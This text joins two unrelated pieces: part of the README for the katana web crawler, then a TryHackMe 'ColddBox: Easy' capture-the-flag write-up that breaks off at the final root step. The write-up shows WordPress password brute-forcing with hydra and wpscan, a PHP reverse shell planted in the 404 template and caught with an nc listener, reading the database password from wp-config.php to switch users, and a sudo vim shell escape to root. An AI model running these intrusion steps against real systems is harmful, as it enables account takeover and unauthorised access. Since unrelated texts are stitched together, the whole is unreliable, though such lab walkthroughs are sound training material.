-max-response-size int maximum response size to read (default 2097152) -timeout int time to wait for request in seconds (default 10) -aff, -automatic-form-fill enable optional automatic form filling (experimental) -retry int number of times to retry the request (default 1) -proxy string http/socks5 proxy to use -H, -headers string[] custom header/cookie to include in request -config string path to the katana configuration file -fc, -form-config string path to custom form configuration file HEADLESS: -hl, -headless enable headless hybrid crawling (experimental) -sc, -system-chrome use local installed chrome browser instead of katana installed -sb, -show-browser show the browser on the screen with headless mode -ho, -headless-options string[] start headless chrome with additional options -nos, -no-sandbox start headless chrome in --no-sandbox mode SCOPE: -cs, -crawl-scope string[] in scope url regex to be followed by crawler -cos, -crawl-out-scope string[] out of scope url regex to be excluded by crawler -fs, -field-scope string pre-defined scope field (dn,rdn,fqdn) (default "rdn") -ns, -no-scope disables host based default scope -do, -display-out-scope display external endpoint from scoped crawling FILTER: -f, -field string field to display in output (url,path,fqdn,rdn,rurl,qurl,qpath,file,key,value,kv,dir,udir) -sf, -store-field string field to store in per-host output (url,path,fqdn,rdn,rurl,qurl,qpath,file,key,value,kv,dir,udir) -em, -extension-match string[] match output for given extension (eg, -em php,html,js) -ef, -extension-filter string[] filter output for given extension (eg, -ef png,css) RATE-LIMIT: -c, -concurrency int number of concurrent fetchers to use (default 10) -p, -parallelism int number of concurrent inputs to process (default 10) -rd, -delay int request delay between each request in seconds -rl, -rate-limit int maximum requests to send per second (default 150) -rlm, -rate-limit-minute int maximum number of requests to send per minute OUTPUT: -o, -output string file to write output to -j, -json write output in JSONL(ines) format -nc, -no-color disable output content coloring (ANSI escape codes) -silent display output only -v, -verbose display verbose output -version display project version ``` ## Running Katana ### Input for katana **katana** requires **url** or **endpoint** to crawl and accepts single or multiple inputs. Input URL can be provided using `-u` option, and multiple values can be provided using comma-separated input, similarly **file** input is supported using `-list` option and additionally piped input (stdin) is also supported. #### URL Input ```sh katana -u https://tesla.com ``` #### Multiple URL Input (comma-separated) ```sh katana -u https://tesla.com,https://google.com ``` #### List Input ```bash $ cat url_list.txt https://tesla.com https://google.com ``` ``` katana -list url_list.txt ``` #### STDIN (piped) Input ```sh echo https://tesla.com | katana ``` ```sh cat domains | httpx | katana ``` Example running katana - ```console katana -u https://youtube.com __ __ / /_____ _/ /____ ____ ___ _ / '_/ _ / __/ _ / _ \/ _ / /_/\_\\_,_/\__/\_,_/_//_/\_,_/ v0.0.1 projectdiscovery.io [WRN] Use with caution. You are responsible for your actions. [WRN] Developers assume no liability and are not responsible for any misuse or damage. https://www.youtube.com/ https://www.youtube.com/about/ https://www.youtube.com/about/press/ https://www.youtube.com/about/copyright/ https://www.youtube.com/t/contact_us/ https://www.youtube.com/creators/ https://www.youtube.com/ads/ https://www.youtube.com/t/terms https://www.youtube.com/t/privacy https://www.youtube.com/about/policies/ https://www.youtube.com/howyoutubeworks?utm_campaign=ytgen&utm_source=ythp&utm_medium=LeftNav&utm_content=txt&u=https%3A%2F%2Fwww.youtube.com%2Fhowyoutubeworks%3Futm_source%3Dythp%26utm_medium%3DLeftNav%26utm_campaign%3Dytgen https://www.youtube.com/new https://m.youtube.com/ https://www.youtube.com/s/desktop/4965577f/jsbin/desktop_polymer.vflset/desktop_polymer.js https://www.youtube.com/s/desktop/4965577f/cssbin/www-main-desktop-home-page-skeleton.css https://www.youtube.com/s/desktop/4965577f/cssbin/www-onepick.css https://www.youtube.com/s/_/ytmainappweb/_/ss/k=ytmainappweb.kevlar_base.0Zo5FUcPkCg.L.B1.O/am=gAE/d=0/rs=AGKMywG5nh5Qp-BGPbOaI1evhF5BVGRZGA https://www.youtube.com/opensearch?locale=en_GB https://www.youtube.com/manifest.webmanifest https://www.youtube.com/s/desktop/4965577f/cssbin/www-main-desktop-watch-page-skeleton.css https://www.youtube.com/s/desktop/4965577f/jsbin/web-animations-next-lite.min.vflset/web-animations-next-lite.min.js https://www.youtube.com/s/desktop/4965577f/jsbin/custom-elements-es5-adapter.vflset/custom-elements-es5-adapter.js https://www.youtube.com/s/desktop/4965577f/jsbin/webcomponents-sd.vflset/webcomponents-sd.js https://www.youtube.com/s/desktop/4965577f/jsbin/intersection-observer.min.vflset/intersection-observer.min.js https://www.youtube.com/s/desktop/4965577f/jsbin/scheduler.vflset/scheduler.js https://www.youtube.com/s/desktop/4965577f/jsbin/www-i18n-constants-en_GB.vflset/www-i18n-constants.js https://www.youtube.com/s/desktop/4965577f/jsbin/www-tampering.vflset/www-tampering.js https://www.youtube.com/s/desktop/4965577f/jsbin/spf.vflset/spf.js https://www.youtube.com/s/desktop/4965577f/jsbin/network.vflset/network.js https://www.youtube.com/howyoutubeworks/ https://www.youtube.com/trends/ https://www.youtube.com/jobs/ https://www.youtube.com/kids/ ``` ## Crawling Mode ### Standard Mode Standard crawling modality uses the standard go http library under the hood to handle HTTP requests/responses. This modality is much faster as it doesn't have the browser overhead. Still, it analyzes HTTP responses body as is, without any javascript or DOM rendering, potentially missing post-dom-rendered endpoints or asynchronous endpoint calls that might happen in complex web applications depending, for example, on browser-specific events. ### Headless Mode Headless mode hooks internal headless calls to handle HTTP requests/responses directly within the browser context. This offers two advantages: - The HTTP fingerprint (TLS and user agent) fully identify the client as a legitimate browser - Better coverage since the endpoints are discovered analyzing the standard raw response, as in the previous modality, and also the browser-rendered one with javascript enabled. Headless crawling is optional and can be enabled using `-headless` option. Here are other headless CLI options - ```console katana -h headless Flags: HEADLESS: -hl, -headless enable experimental headless hybrid crawling -sc, -system-chrome use local installed chrome browser instead of katana installed -sb, -show-browser show the browser on the screen with headless mode -ho, -headless-options string[] start headless chrome with additional options -nos, -no-sandbox start headless chrome in --no-sandbox mode ``` *`-no-sandbox`* ---- Runs headless chrome browser with **no-sandbox** option, useful when running as root user. ```console katana -u https://tesla.com -headless -no-sandbox ``` *`-headless-options`* ---- When crawling in headless mode, additional chrome options can be specified using `-headless-options`, for example - ```console katana -u https://tesla.com -headless -system-chrome -headless-options --disable-gpu,proxy-server=http://127.0.0.1:8080 ``` ## Scope Control Crawling can be endless if not scoped, as such katana comes with multiple support to define the crawl scope. *`-field-scope`* ---- Most handy option to define scope with predefined field name, `rdn` being default option for field scope. - `rdn` - crawling scoped to root domain name and all subdomains (default) - `fqdn` - crawling scoped to given sub(domain) - `dn` - crawling scoped to domain name keyword ```console katana -u https://tesla.com -fs dn ``` *`-crawl-scope`* ------ For advanced scope control, `-cs` option can be used that comes with **regex** support. ```console katana -u https://tesla.com -cs login ``` For multiple in scope rules, file input with multiline string / regex can be passed. ```bash $ cat in_scope.txt login/ admin/ app/ wordpress/ ``` ```console katana -u https://tesla.com -cs in_scope.txt ``` *`-crawl-out-scope`* ----- For defining what not to crawl, `-cos` option can be used and also support **regex** input. ```console katana -u https://tesla.com -cos logout ``` For multiple out of scope rules, file input with multiline string / regex can be passed. ```bash $ cat out_of_scope.txt /logout /log_out ``` ```console katana -u https://tesla.com -cos out_of_scope.txt ``` *`-no-scope`* ---- Katana is default to scope `*.domain`, to disable this `-ns` option can be used and also to crawl the internet. ```console katana -u https://tesla.com -ns ``` *`-display-out-scope`* ---- As default, when scope option is used, it also applies for the links to display as output, as such **external URLs are default to exclude** and to overwrite this behavior, `-do` option can be used to display all the external URLs that exist in targets scoped URL / Endpoint. ``` katana -u https://tesla.com -do ``` Here is all the CLI options for the scope control - ```console katana -h scope Flags: SCOPE: -cs, -crawl-scope string[] in scope url regex to be followed by crawler -cos, -crawl-out-scope string[] out of scope url regex to be excluded by crawler -fs, -field-scope string pre-defined scope field (dn,rdn,fqdn) (default "rdn") -ns, -no-scope disables host based default scope -do, -display-out-scope display external endpoint from scoped crawling ``` ## Crawler Configuration Katana comes with multiple options to configure and control the crawl as the way we want. *`-depth`* ---- Option to define the `depth` to follow the urls for crawling, the more depth the more number of endpoint being crawled + time for crawl. ``` katana -u https://tesla.com -d 5 ``` *`-js-crawl`* ---- Option to enable JavaScript file parsing + crawling the endpoints discovered in JavaScript files, disabled as default. ``` katana -u https://tesla.com -jc ``` *`-crawl-duration`* ---- Option to predefined crawl duration, disabled as default. ``` katana -u https://tesla.com -ct 2 ``` *`-known-files`* ---- Option to enable crawling `robots.txt` and `sitemap.xml` file, disabled as default. ``` katana -u https://tesla.com -kf robotstxt,sitemapxml ``` *`-automatic-form-fill`* ---- Option to enable automatic form filling for known / unknown fields, known field values can be customized as needed by updating form config file at `$HOME/.config/katana/form-config.yaml`. Automatic form filling is experimental feature. ``` -aff, -automatic-form-fill enable optional automatic form filling (experimental) ``` There are more options to configure when needed, here is all the config related CLI options - ```console katana -h config Flags: CONFIGURATION: -d, -depth int maximum depth to crawl (default 2) -jc, -js-crawl enable endpoint parsing / crawling in javascript file -ct, -crawl-duration int maximum duration to crawl the target for -kf, -known-files string enable crawling of known files (all,robotstxt,sitemapxml) -mrs, -max-response-size int maximum response size to read (default 2097152) -timeout int time to wait for request in seconds (default 10) -retry int number of times to retry the request (default 1) -proxy string http/socks5 proxy to use -H, -headers string[] custom header/cookie to include in request -config string path to the katana configuration file -fc, -form-config string path to custom form configuration file ``` ## Filters *`-field`* ---- Katana comes with build in fields that can be used to filter the output for the desired information, `-f` option can be used to specify any of the available fields. ``` -f, -field string field to display in output (url,path,fqdn,rdn,rurl,qurl,qpath,file,key,value,kv,dir,udir) ``` Here is a table with examples of each field and expected output when used - | FIELD | DESCRIPTION | EXAMPLE | | ------- | --------------------------- | ------------------------------------------------------------ | | `url` | URL Endpoint | `https://admin.projectdiscovery.io/admin/login?user=admin&password=admin` | | `qurl` | URL including query param | `https://admin.projectdiscovery.io/admin/login.php?user=admin&password=admin` | | `qpath` | Path including query param | `/login?user=admin&password=admin` | | `path` | URL Path | `https://admin.projectdiscovery.io/admin/login` | | `fqdn` | Fully Qualified Domain name | `admin.projectdiscovery.io` | | `rdn` | Root Domain name | `projectdiscovery.io` | | `rurl` | Root URL | `https://admin.projectdiscovery.io` | | `file` | Filename in URL | `login.php` | | `key` | Parameter keys in URL | `user,password` | | `value` | Parameter values in URL | `admin,admin` | | `kv` | Keys=Values in URL | `user=admin&password=admin` | | `dir` | URL Directory name | `/admin/` | | `udir` | URL with Directory | `https://admin.projectdiscovery.io/admin/` | Here is an example of using field option to only display all the urls with query parameter in it - ``` katana -u https://tesla.com -f qurl -silent https://shop.tesla.com/en_au?redirect=no https://shop.tesla.com/en_nz?redirect=no https://shop.tesla.com/product/men_s-raven-lightweight-zip-up-bomber-jacket?sku=1740250-00-A https://shop.tesla.com/product/tesla-shop-gift-card?sku=1767247-00-A https://shop.tesla.com/product/men_s-chill-crew-neck-sweatshirt?sku=1740176-00-A https://www.tesla.com/about?redirect=no https://www.tesla.com/about/legal?redirect=no https://www.tesla.com/findus/list?redirect=no ``` *`-store-field`* --- To compliment `field` option which is useful to filter output at run time, there is `-sf, -store-fields` option which works exactly like field option except instead of filtering, it stores all the information on the disk under `katana_output` directory sorted by target url. ``` katana -u https://tesla.com -sf key,fqdn,qurl -silent ``` ```bash $ ls katana_output/ https_www.tesla.com_fqdn.txt https_www.tesla.com_key.txt https_www.tesla.com_qurl.txt ``` <table> <tr> <td> > **Note**: > `store-field` option can come handy to collect information to build a target aware wordlist for followings but not limited to - - Most / commonly used **parameters** - Most / commonly used **paths** - Most / commonly **files** - Related / unknown **sub(domains)** </td> </tr> </table> *`-extension-match`* --- Crawl output can be easily matched for specfic extension using `-em` option to ensure to display only output containing given extension. ``` katana -u https://tesla.com -silent -em js,jsp,json ``` *`-extension-filter`* --- Crawl output can be easily filtered for specfic extension using `-ef` option which ensure to remove all the urls containing given extension. ``` katana -u https://tesla.com -silent -ef css,txt,md ``` Here are additonal filter options - ```console -f, -field string field to display in output (url,path,fqdn,rdn,rurl,qurl,file,key,value,kv,dir,udir) -sf, -store-field string field to store in per-host output (url,path,fqdn,rdn,rurl,qurl,file,key,value,kv,dir,udir) -em, -extension-match string[] match output for given extension (eg, -em php,html,js) -ef, -extension-filter string[] filter output for given extension (eg, -ef png,css) ``` ## Rate Limit & Delay It's easy to get blocked / banned while crawling if not following target websites limits, katana comes with multiple option to tune the crawl to go as fast / slow we want. *`-delay`* ----- option to introduce a delay in seconds between each new request katana makes while crawling, disabled as default. ``` katana -u https://tesla.com -delay 20 ``` *`-concurrency`* ----- option to control the number of urls per target to fetch at the same time. ``` katana -u https://tesla.com -c 20 ``` *`-parallelism`* ----- option to define number of target to process at same time from list input. ``` katana -u https://tesla.com -p 20 ``` *`-rate-limit`* ----- option to use to define max number of request can go out per second. ``` katana -u https://tesla.com -rl 100 ``` *`-rate-limit-minute`* ----- option to use to define max number of request can go out per minute. ``` katana -u https://tesla.com -rlm 500 ``` Here is all long / short CLI options for rate limit control - ```console katana -h rate-limit Flags: RATE-LIMIT: -c, -concurrency int number of concurrent fetchers to use (default 10) -p, -parallelism int number of concurrent inputs to process (default 10) -rd, -delay int request delay between each request in seconds -rl, -rate-limit int maximum requests to send per second (default 150) -rlm, -rate-limit-minute int maximum number of requests to send per minute ``` ## Output *`-json`* --- Katana support both file output in plain text format as well as JSON which includes additional information like, `source`, `tag`, and `attribute` name to co-related the discovered endpoint. ```console katana -u https://example.com -json -do | jq . ``` ```json { "timestamp": "2022-11-05T22:33:27.745815+05:30", "endpoint": "https://www.iana.org/domains/example", "source": "https://example.com", "tag": "a", "attribute": "href" } ``` Here are additional CLI options related to output - ```console katana -h output OUTPUT: -o, -output string file to write output to -j, -json write output in JSONL(ines) format -nc, -no-color disable output content coloring (ANSI escape codes) -silent display output only -v, -verbose display verbose output -version ``` -------- <div align="center"> katana is made with ❤️ by the [projectdiscovery](https://projectdiscovery.io) team and distributed under [MIT License](LICENSE). <a href="https://discord.gg/projectdiscovery"><img src="https://raw.githubusercontent.com/projectdiscovery/nuclei-burp-plugin/main/static/join-discord.png" width="300" alt="Join Discord"></a> </div>
# Try Hack Me Writeup - ColddBox: Easy - TryHackMe room: <https://tryhackme.com/room/colddboxeasy> - OS: `Linux (Ubuntu)` An easy level machine with multiple ways to escalate privileges. ![alt text](files/writeup-image.png "Writeup Image") **WARNING: I stripped out the answers, passwords, flags and co. This writeup is pretty detailed. By following and doing the steps described here yourself you will get them all. The goal is to learn more about it, even if you get stuck at some point. Enjoy!** ## Table of Contents - [Answer the questions](#answer-the-questions) - [Setup](#setup) - [Tools Used](#tools-used) - [Enumeration of ports and services](#enumeration-of-ports-and-services) - [Enumeration of the web server](#enumeration-of-the-web-server) - [Enumeration with WPScan](#enumeration-with-wpscan) - [Looking at the website](#looking-at-the-website) - [Brute forcing with hydra](#brute-forcing-with-hydra) - [Brute forcing with WPScan](#brute-forcing-with-wpscan) - [Installing a reverse shell in WordPress](#installing-a-reverse-shell-in-wordpress) - [Horizontal privilege escalating](#horizontal-privilege-escalating) - [Vertical privilege escalating](#vertical-privilege-escalating) ## Answer the questions user.txt HINT: Provide the flag in its encoded format Rm**********ZXMsIHByaW1lciBuaXZlbCBjb25z**********== root.txt HINT: Provide the flag in its encoded format wq**********YWRlcywgbcOhcXVpbmEgY29t**********E= ## Setup ```commandline $ export IP_HOST=10.8.208.30 $ export IP_TARGET=10.10.86.15 $ export WRITEUP="$HOME/Documents/THM/colddboxeasy/" $ mkdir -p $WRITEUP $ cd $WRITEUP $ tmux ``` ## Tools Used | Name | Usage | |---|---| | `nmap` | Port & services enumeration | | `gobuster` | Web server enumeration | | `wpscan` | Web server enumeration | | `Burp Suite` | Web server enumeration | | `hydra` | To bruteforce the WordPress login form | ## Enumeration of ports and services As most of the time, `nmap` to enumerate the port. My first scan, without scanning all ports (`-p-`) only popped up the port `80`. Was very septic, so I ran a second scan on all ports which revealed OpenSSH running on the unusual port, `4512`. ````commandline # nmap -sCV -p- -oN nmap_scan $IP_TARGET Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-28 21:46 CEST Nmap scan report for 10.10.86.15 Host is up (0.032s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: WordPress 4.1.31 |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: ColddBox | One more machine 4512/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA) | 256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA) |_ 256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.70 seconds ```` ## Enumeration of the web server Gobuster scan: ````commandline $ gobuster dir --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$IP_TARGET -t 75 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.86.15 [+] Method: GET [+] Threads: 75 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/08/28 21:40:17 Starting gobuster in directory enumeration mode =============================================================== /wp-content (Status: 301) [Size: 315] [--> http://10.10.86.15/wp-content/] /wp-includes (Status: 301) [Size: 316] [--> http://10.10.86.15/wp-includes/] /wp-admin (Status: 301) [Size: 313] [--> http://10.10.86.15/wp-admin/] /hidden (Status: 301) [Size: 311] [--> http://10.10.86.15/hidden/] /server-status (Status: 403) [Size: 276] =============================================================== 2021/08/28 21:41:51 Finished =============================================================== ```` In <http://10.10.86.15/hidden/> we are greated with a message: ![alt text](files/webserver_hidden_01.png "Webserver") Ok, so we have 3 potential usernames. Need to save them! ````commandline echo "*****" >> usernames.txt echo "****" >> usernames.txt echo "******" >> usernames.txt ```` ## Enumeration with WPScan ````commandline $ wpscan --url http://$IP_TARGET -e vp,vt,u _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.18 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://10.10.86.15/ [10.10.86.15] [+] Started: Sat Aug 28 21:50:12 2021 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.18 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://10.10.86.15/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://10.10.86.15/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://10.10.86.15/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 4.1.31 identified (Insecure, released on 2020-06-10). | Found By: Rss Generator (Passive Detection) | - http://10.10.86.15/?feed=rss2, <generator>https://wordpress.org/?v=4.1.31</generator> | - http://10.10.86.15/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.1.31</generator> [+] WordPress theme in use: twentyfifteen | Location: http://10.10.86.15/wp-content/themes/twentyfifteen/ | Last Updated: 2021-07-22T00:00:00.000Z | Readme: http://10.10.86.15/wp-content/themes/twentyfifteen/readme.txt | [!] The version is out of date, the latest version is 3.0 | Style URL: http://10.10.86.15/wp-content/themes/twentyfifteen/style.css?ver=4.1.31 | Style Name: Twenty Fifteen | Style URI: https://wordpress.org/themes/twentyfifteen | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st... | Author: the WordPress team | Author URI: https://wordpress.org/ | Found By: Css Style In Homepage (Passive Detection) | Version: 1.0 (80% confidence) | Found By: Style (Passive Detection) | - http://10.10.86.15/wp-content/themes/twentyfifteen/style.css?ver=4.1.31, Match: 'Version: 1.0' [+] Enumerating Vulnerable Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods) Checking Known Locations - Time: 00:00:02 <=============================================================================================================> (357 / 357) 100.00% Time: 00:00:02 [+] Checking Theme Versions (via Passive and Aggressive Methods) [i] No themes Found. [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <===============================================================================================================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] the **** in person | Found By: Rss Generator (Passive Detection) [+] **** | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] ****** | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] ***** | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Sat Aug 28 21:50:19 2021 [+] Requests Done: 416 [+] Cached Requests: 10 [+] Data Sent: 105.901 KB [+] Data Received: 313.639 KB [+] Memory used: 221.32 MB [+] Elapsed time: 00:00:06 ```` We have found 4 usernames with the `wpscan`. 3 of them we already have. So let's save this new one too. ````commandline echo "****" >> usernames.txt ```` ## Looking at the website Nothing fancy to see there. Also nothing to find in the HTML source code. ![alt text](files/webserver_01.png "Webserver") Looking at the source code of that home page, nothing suspect found. There's only one post and one comment. Looks like we found maybe another username. On this page also nothing found in the source code. ![alt text](files/webserver_02.png "Webserver") Saving this new username: ````commandline echo "****" >> usernames.txt ```` ## Brute forcing with hydra Brute forcing with `hydra`. For this, we first need to make use of `Burp Suite` to intercept the login form and to know how we can pass our information to `hydra`. ![alt text](files/burp_01.png "Webserver") What is in our interest is the: `log=testuser&pwd=testpass&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1` And the error message displayed after a bad login: `ERROR: Invalid username. Lost your password?` ![alt text](files/webserver_03.png "Webserver") We have a file with all our potential usernames we found so far. So let's bruteforce on all the different usernames. ````commandline hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt $IP_TARGET http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:'ERROR: Invalid username. Lost your password?'" -V ```` This took ages for some reasons I do not know. 16 attempts per minutes. This go lasts forever at this speed! I'm not planning to cross my arms and wait a few hours until this finish. Like this is a `WordPress` site, it's maybe more practical to make use of the build in brute force of `wpscan`. So I cancelled this `hydra` bruteforce attack. ## Brute forcing with WPScan Same principe, as we have a list of potential usernames, let's make use of it. ````commandline wpscan --url http://$IP_TARGET -U usernames.txt -P /usr/share/wordlists/rockyou.txt ```` After something like 15 minutes, `wpscan` found the password for user *****. So I stopped this brute force attack as this is a CTF and most of the time, this is about one low privilege user account we need to attack. Can run it again later if needed. ````commandline [+] Performing password attack on Wp Login against 6 user/s [SUCCESS] - ***** / ********** ^Cying hugo / roberta Time: 00:17:06 < > (10548 / 86067575) 0.01% ETA: ??:??:?? [!] Valid Combinations Found: | Username: *****, Password: ********** [!] No WPScan API Token given, as a result vulnerability data has not been output. > (10554 / 86067575) 0.01% ETA: ??:??:?? [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Sat Aug 28 23:23:38 2021 [+] Requests Done: 10694 [+] Cached Requests: 38 [+] Data Sent: 4.989 MB [+] Data Received: 38.521 MB [+] Memory used: 272.586 MB [+] Elapsed time: 00:17:11 Scan Aborted: Canceled by User ```` **GOLDEN TIP:** In fact, what I have done is very useless to bruteforce the `WordPress` site for different users. Instead of brute forcing with a user list, I should have enumerated this site, manually or with the `-e` on `wpscan` (check out the `wpscan --help`), to find the different users. `WordPress` websites use authors for the posts. And that are the actual users on that website. Could have saved time. ## Installing a reverse shell in WordPress Once logged in, we can make use of the `WordPress` fancy `404 Template` features which allows embedding PHP code. `WordPress` is so insecure by allowing this by default. So this is easy, we can make use of this to embed our `PHP` web shell in that template. For this in `Appearance` > `Editor`. Then click on the `404 templates`. ![alt text](files/wordpress_01.png "WordPress") On the right side, we see the different templates we can modify. Okay, in this screenshot, I already had clicked on it and it already loaded. You see that with the content of the big input field and the label of it. ![alt text](files/wordpress_02.png "WordPress") We can make use of the `/usr/share/webshells/php/php-reverse-shell.php` which is available by default on `Kali`. But we need to be careful. Do not copy the whole content of that `php-reverse-shell.php` file and paste that like is in between the existing `PHP` code of that `404.php` template file. We need to mind the opening `PHP` tag. The easiest way is to copy the whole content of the `php-reverse-shell.php` and pasting it before the first line of that `404.php` file. Then I add plenty of new lines after that to separate both contents, in case if I need to clean that up later. Also, an important point, is to adjust the IP and port to match our host computer. Finally, press the `Update File` button. Now we need to set a listener on our host machine. ````commandline nc -lnvp 4444 ```` Now we can point our browser to some random non-existent page on the `WordPress` site and our reverse shell will execute and connect to the host machine. Something like <http://10.10.86.15/?p=9999>. Not <http://10.10.86.15/random< as this will trigger the `Apache 404` and not the `WordPress` one. ## Horizontal privilege escalating We are now connected! ````commandline $ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.8.208.30] from (UNKNOWN) [10.10.86.15] 40506 Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 23:32:31 up 1:56, 0 users, load average: 0.00, 0.63, 1.89 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ pwd / $ ```` `Python` is not installed on the target machine, using `python3` then to stabilise the shell. Wanted to grab the `user.txt` flag. But no luck, it's only readable by user `*****`. Tried also to switch to user `*****`, but he does not use the same password as on the `WordPress` website. ````commandline $ python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@ColddBox-Easy:/$ TERM=xterm TERM=xterm www-data@ColddBox-Easy:/$ ^Z [1]+ Stopped nc -nlvp 4444 ┌──(itchy㉿scratchy)-[~/Documents/THM/colddboxeasy] └─$ stty raw -echo; fg nc -nlvp 4444 www-data@ColddBox-Easy:/$ www-data@ColddBox-Easy:/$ cd /home/c0ldd/ www-data@ColddBox-Easy:/home/c0ldd$ cat user.txt cat: user.txt: Permission denied www-data@ColddBox-Easy:/home/c0ldd$ ls -lah total 24K drwxr-xr-x 3 c0ldd c0ldd 4.0K Oct 19 2020 . drwxr-xr-x 3 root root 4.0K Sep 24 2020 .. -rw------- 1 c0ldd c0ldd 0 Oct 19 2020 .bash_history -rw-r--r-- 1 c0ldd c0ldd 220 Sep 24 2020 .bash_logout -rw-r--r-- 1 c0ldd c0ldd 0 Oct 14 2020 .bashrc drwx------ 2 c0ldd c0ldd 4.0K Sep 24 2020 .cache -rw-r--r-- 1 c0ldd c0ldd 655 Sep 24 2020 .profile -rw-r--r-- 1 c0ldd c0ldd 0 Sep 24 2020 .sudo_as_admin_successful -rw-rw---- 1 c0ldd c0ldd 53 Sep 24 2020 user.txt www-data@ColddBox-Easy:/home/c0ldd$ su c0ldd Password: su: Authentication failure www-data@ColddBox-Easy:/home/c0ldd$ su c0ldd Password: su: Authentication failure www-data@ColddBox-Easy:/home/c0ldd$ ```` As the password for user `*****` on `WordPress` is not that same as his system password. We need to find another way. Usually, glitches happens when user reuse their passwords. This user did not reuse his `WordPress` password for his system account. But maybe we can find something else in the configuration files of the `WordPress` website. ````commandline www-data@ColddBox-Easy:/var/www/html$ ls hidden wp-blog-header.php wp-includes wp-signup.php index.php wp-comments-post.php wp-links-opml.php wp-trackback.php license.txt wp-config-sample.php wp-load.php xmlrpc.php readme.html wp-config.php wp-login.php wp-activate.php wp-content wp-mail.php wp-admin wp-cron.php wp-settings.php ```` And looking in the `wp-config.php`, we can see the database password. ````commandline www-data@ColddBox-Easy:/var/www/html$ cat wp-config.php | grep DB_PASSWORD define('DB_PASSWORD', '*************'); ```` And with this password, we can finally log in with user `*****`. ````commandline www-data@ColddBox-Easy:/var/www/html$ su ***** Password: *****@ColddBox-Easy:/var/www/html$ cd /home/c0ldd/ *****@ColddBox-Easy:~$ cat user.txt Rm**********ZXMsIHByaW1lciBuaXZlbCBjb25z**********== ```` ## Vertical privilege escalating Looking now how we can escalate the user privileges. I first tend to look with `sudo`, as this is a classic. But shoot! This is spanish and the message confuse me so much. I don't master spanish except for ordering "2 cervesas por favor". The day after, "agua sun gaz por favor". And even then, not sure about the spelling at all. ````commandline *****@ColddBox-Easy:~$ sudo -l [sudo] password for *****: Coincidiendo entradas por defecto para ***** en ColddBox-Easy: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy: (root) /usr/bin/vim (root) /bin/chmod (root) /usr/bin/ftp *****@ColddBox-Easy:~$ ```` So let's try! ````commandline sudo /usr/bin/vim ```` Yes, `vim` runs and there we go! ````commandline :!sh # cat /root/root.txt 